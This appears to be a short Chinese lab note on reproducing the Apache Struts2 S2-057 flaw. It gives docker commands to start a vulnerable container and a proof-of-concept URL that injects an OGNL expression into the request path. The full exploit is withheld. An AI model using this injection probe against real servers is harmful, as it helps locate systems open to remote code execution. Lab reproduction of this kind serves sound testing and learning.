http://vulapps.evalbug.com/s_struts2_s2-057/
这大概是全网复现st2-057环境最简单的操作了。
不过首先,你需要安装过docker,安装方法参考官方文档https://docs.docker.com/,很详细了。然后执行:
docker pull medicean/vulapps:s_struts2_s2-057
docker run -d -p 8083:8080 medicean/vulapps:s_struts2_s2-057
1.访问目标http://IP:8083/
POC:
>访问 http://127.0.0.1:8083/${(111+111)}/actionChain1.action
然后 URL 会变为 : http://127.0.0.1:8083/222/register2.action, 其中 222 部分为 ognl 表达式 ${(111+111)} 执行结果。
EXP:
暂不公布